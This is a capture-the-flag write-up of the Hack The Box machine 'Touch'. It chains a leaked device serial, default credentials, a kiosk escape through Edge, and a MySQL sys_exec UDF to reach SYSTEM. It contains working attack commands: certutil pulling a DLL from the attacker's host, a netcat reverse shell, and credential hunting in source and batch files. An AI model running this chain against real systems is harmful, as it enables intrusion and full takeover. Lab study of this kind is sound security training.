

HTB: Touch write-up

- **OS:** Windows
 - **Difficulty:** Easy
 - **Flags:** `user` [REDACTED-USER-FLAG] · `root` [REDACTED-ROOT-FLAG]
-

TL;DR

A self-check-in kiosk exposes a Nexion DeviceHub panel on `8443`. An unauthenticated API endpoint leaks the device serial, and the serial is the default login password, so the dashboard opens. The dashboard hands over the kiosk RDP credentials. The kiosk itself is a locked full-screen app, but an error dialog opens Edge, and Edge becomes the way out: `file:///C:` to read the disk, then `cmd.exe` for a shell as the kiosk user and the user flag.

Root comes from a local MySQL running as SYSTEM. The app source leaks a low-privilege DB account, the plugin directory is writable so `secure_file_priv=NULL` stops mattering, and a maintenance `.bat` leaks the MySQL root password. From there a `sys_exec` UDF runs commands as SYSTEM.

Recon

Port scan

masscan sweep, three ports open:

```
135/tcp    msrpc
3389/tcp   rdp
8443/tcp   https (web)
```

135 + 3389 says Windows.

Web: Nexion DeviceHub (8443)

`https://10.129.81.135:8443` redirects to a Nexion DeviceHub login. Content discovery on the web root returned two paths worth looking at:

Path	Status
<code>/login</code>	200
<code>/api</code>	403

Fuzzing `/login` gave nothing. Fuzzing under `/api` found an endpoint with no auth:

```
curl -sk 'https://10.129.81.135:8443/api/status'
```

```
{"device":"Nexion DeviceHub DH-100","serial":"[REDACTED-SERIAL]","firmware":"1.4.2","status":
```

The login page HTML carried a hint:

```
The default password is the device serial number included in your DeviceHub packaging.
```

Foothold

Default credentials to the dashboard

`/api/status` leaks the serial without auth, and the login page says the default password is that same serial. Logging in with the serial as the password opens the dashboard.

Credentials inside the dashboard

The dashboard gave up a credential pair and more endpoints:

- **Credentials:** `[REDACTED-USER] : [REDACTED-PASSWORD]`
- **Endpoints:** `/api/scan` , `/api/scanner/settings` , `/api/printer/settings` , `/api/scanner/test-image`
- **Banner:** Nexion Systems Ltd. Service v4.2.1

RDP into the kiosk

The credentials work over RDP (3389) and land in a flight self-check-in kiosk: a locked full-screen app, not a normal desktop.

Escaping the kiosk through the browser

The check-in flow asks for passenger details. The known booking (`[REDACTED-NAME]` / `[REDACTED-PNR]`) progresses until the passport scan step, which fails.

The dashboard lets you power off the scanner. With it off, the flow fails differently: the passport step throws an error dialog with a link to a support page. The link opens Edge, the first thing on screen that is not the kiosk app.

Edge won't close, so it does the work instead. `file:///C:/` exposes the filesystem. The kiosk user's desktop holds the user flag:

```
C:\Users\[REDACTED-USER]\Desktop\user.txt -> [REDACTED-USER-FLAG]
```

Same trick to reach `cmd.exe` and run it, which gives an interactive shell as the kiosk user.

Comfort step: working through RDP and the locked kiosk is painful. To get a clean, copy-paste shell, `nc64.exe` was served over the VPN and a reverse shell caught on the attacker box. The target has no outbound Internet but it does reach the VPN tunnel, so a local HTTP server (`python3 -m http.server`) handled every file transfer from here on.

Privilege escalation

Shell runs as the kiosk user.

Cheap checks first

```
whoami /priv
whoami /groups
```

No `SeImpersonatePrivilege` , so PrintSpoofer / GodPotato are out. On to misconfigured services and software.

MySQL running as SYSTEM

```
tasklist /svc | findstr /i mysql
netstat -ano | findstr :3306
```

Two `mysqld.exe` . The one on `3306` (PID 3724) runs in Session 0 as a service, so it starts as SYSTEM. The install sits in `C:\mysql` , outside `Program Files` , which usually means loose ACLs. A SYSTEM service plus a local MySQL client is the usual setup for a UDF privesc, so that is the line to follow. For it to work I need two things: a DB account that can `CREATE FUNCTION` , and a way to drop a DLL into the server's plugin directory.

DB credentials from the app source

The check-in app is a Node monorepo at `C:\Program Files\HTB Airways\Kiosk` . The connection string has to live somewhere, so I searched the source:

```
findstr /sip "createPool createConnection password 3306" "C:\Program Files\HTB Airways\Kiosk\
```

`packages\backend\src\database\index.ts` :

```
user:      [REDACTED-DBUSER]
password:  [REDACTED-PASSWORD]
database:  htb_airways
```

Login works, but the grants are thin:

```
SHOW GRANTS;
-- GRANT USAGE ON *.* TO `[REDACTED-DBUSER]`@`localhost`
-- GRANT ALL PRIVILEGES ON `htb_airways`.* TO `[REDACTED-DBUSER]`@`localhost`
```

No FILE , no INSERT on mysql , no global CREATE FUNCTION . Not enough on its own.

Checking the UDF preconditions

```
SELECT @@plugin_dir, @@secure_file_priv;
-- plugin_dir          = C:\MySQL\lib\plugin
-- secure_file_priv = NULL
```

secure_file_priv = NULL blocks writing the DLL with INTO DUMPFILE , but that only blocks writing through MySQL. Drop the DLL into the plugin directory another way and the restriction is moot. The directory ACL:

```
icacls "C:\MySQL\lib\plugin"
-- NT AUTHORITY\Authenticated Users:(I) (M)
```

Modify for Authenticated Users, so I can copy the DLL in as my own user. That covers the file-placement half.

root password from a maintenance script

The source read its config from an external file:

```
C:\ProgramData\HTB Airways\db-config.ini (Access denied)
```

The .ini was off limits, but a directory holding DB config tends to also hold maintenance scripts and backups with weaker ACLs. Listing it:

```
dir /a "C:\ProgramData\HTB Airways"
-- db-config.ini
-- db-sync-replica.ps1
-- refresh-dates.bat
-- refresh-dates.sql
```

db-config.ini and db-sync-replica.ps1 were denied. refresh-dates.bat was readable, and unattended maintenance .bat files tend to carry their credentials in the clear:

```
type "C:\ProgramData\HTB Airways\refresh-dates.bat"
```

```
@echo off
C:\MySQL\bin\mysql.exe -u root -p[REDACTED-PASSWORD] < "C:\ProgramData\HTB Airways\refresh-da
```

That is the MySQL root password. Confirmed:

```
C:\mysql\bin\mysql.exe -u root -p[REDACTED-PASSWORD] -e "select current_user()"
-- root@localhost
```

Now I have both halves: a privileged account and a writable plugin directory.

UDF exploitation to SYSTEM

1. Get a 64-bit `sys_exec` UDF DLL. Metasploit ships one:

```
/opt/metasploit-framework/embedded/framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
```

Watch the architecture: a 32-bit DLL against a 64-bit MySQL throws `ERROR 1126 ... (errno: 193) (ERROR_BAD_EXE_FORMAT)`. Check with `file` that it is `PE32+ ... x86-64` before using it.

2. Transfer it into the plugin directory. No outbound Internet on the target, but it reaches the VPN. Serve the DLL over HTTP and pull it straight into the plugin dir:

```
# attacker
python3 -m http.server 80
```

```
:: target
certutil -urlcache -split -f http://10.10.16.122/udf.dll "C:\MySQL\lib\plugin\udf.dll"
```

3. Create the function and run as SYSTEM:

```
C:\mysql\bin\mysql.exe -u root -p[REDACTED-PASSWORD] -e "CREATE FUNCTION sys_exec RETURNS INT
C:\mysql\bin\mysql.exe -u root -p[REDACTED-PASSWORD] -e "SELECT sys_exec('cmd /c whoami > C:\
```

`who.txt` was created and owned by SYSTEM, and the kiosk user couldn't even read it back. That confirms execution as SYSTEM.

4. SYSTEM shell with the netcat already staged in `C:\Windows\Temp`:

```
# attacker
nc -lvnp 5555
```

```
:: target
C:\mysql\bin\mysql.exe -u root -p[REDACTED-PASSWORD] -e "SELECT sys_exec('C:\\Windows\\Temp\\
```

```
whoami
-- nt authority\system
```

Root flag

```
type C:\Users\Administrator\Desktop\root.txt
-- [REDACTED-ROOT-FLAG]
```

Attack chain

```
/api/status leaks serial -> serial == default password -> DeviceHub dashboard
-> dashboard leaks kiosk RDP creds -> RDP into locked kiosk
-> scanner off forces error dialog -> link opens Edge
-> file:///C: + cmd.exe -> shell as kiosk user -> user.txt
-> MySQL service runs as SYSTEM
-> app source leaks low-priv DB creds
-> plugin dir writable (bypasses secure_file_priv=NULL)
-> refresh-dates.bat leaks MySQL root password
-> sys_exec UDF -> command execution as SYSTEM -> root.txt
```